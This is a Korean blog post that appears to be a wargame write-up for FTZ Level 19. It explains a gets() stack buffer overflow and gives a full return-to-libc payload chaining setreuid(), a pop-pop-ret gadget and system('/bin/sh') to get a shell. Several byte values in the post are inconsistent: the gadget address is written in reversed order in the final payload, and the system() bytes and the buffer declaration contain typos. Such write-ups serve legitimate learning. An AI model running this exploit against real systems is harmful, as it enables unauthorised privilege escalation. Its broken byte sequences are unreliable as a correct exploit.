tmxklab

[FTZ] Level19 풀이 본문

War Game/FTZ

[FTZ] Level19 풀이

tmxk4221 2020. 1. 12. 21:22

1. 문제확인

 

1) 사용자 및 패스워드 : level19 / swimming in pink

 

2) 파일확인

 

3) hint 코드 설명

main()
{ 
	char buf20];
	gets(buf);
	printf("%s\n", buf);
}
  • gets()를 통해 buf에 사용자의 입력 값을 넣고 printf()로 출력시키는 단순한 코드
  • gets()로 인해 buf배열의 크기(20bytes)보다 더 큰 입력을 받을 수 있음 -> bof 취약점 존재

2. 접근방법

 

1) attackme 디버깅

  • <main+9, 12, 13> : gets함수의 인자인 buf가 gets함수 호출하기전에 push하므로 [ebp-40]위치에 buf변수 존재

 

2) 스택구조

 

 

3) 결론

  • gets()를 통해 buf배열의 크기(20bytes)보다 더 큰 값을 받을 수 있음
  • RTL공격기법을 사용하여 공격가능

 

3. 풀이

1) level20의 reuid와 euid확인($cat /etc/passwd)

  • setreuid()을 사용하기 위해 인자 값인 level20의 reuid와 euid를 찾아야함
  • 하지만, 해당 코드에는 setreuid()가 없어 /etc/passwd에서 확인 → reuid : 3100 / euid : 3100
  • 3100 → \x1c\x0c\x00\x00

 

2) system(), setreuid(), /bin/sh 주소 확인

  • system() 주소 값 : 0x4203f2c0 -> \xc0\cf2\x03\x42
  • setreuid() 주소 값 : 0x420d7920 -> \x20\x79\x0d\x42
  • /bin/sh 주소 값 : 0x42127ea4 -> \xa4\x7e\x12\x42

 

3) 가젯사용을 위해 pop, pop, ret가 존재하는 주소 확인

  • $objdump -d attackme
  • 가젯으로 사용할 pop, pop, ret가 연속으로 등장하는 구문 확인
  • 가젯 주소 값 : 0x804849d -> \x9d\x84\04\x08

 

4) 공격 코드 작성 및 RTL공격 수행

 

* 페이로드
dummy[44bytes] + setreuid()[4bytes] +가젯[4bytes] + reuid값[4bytes] + euid값[4bytes] + system()[4bytes] + dummy[4bytes] + /bin/sh[4bytes]

 

* 공격 코드
(python -c 'print "A"*44 + "\x20\x79\x0d\x42" + "\x08\x04\x84\x9d" + "\x1c\x0c\x00\x00"*2 + "\xc0\xf2\x03\x42" + "A"*4 + "\xa4\x7e\x12\x42"';cat)|./attackme

 

* RTL 공격 기법에 대한 설명은 따로 정리해서 올릴 예정

'War Game > FTZ' 카테고리의 다른 글

[FTZ] Level18 풀이  (0) 2020.01.12
[FTZ] Level17 풀이  (0) 2020.01.12
[FTZ] Level16 풀이  (0) 2020.01.12
[FTZ] Level15 풀이  (0) 2020.01.12
[FTZ] Level14 풀이  (0) 2020.01.12
Comments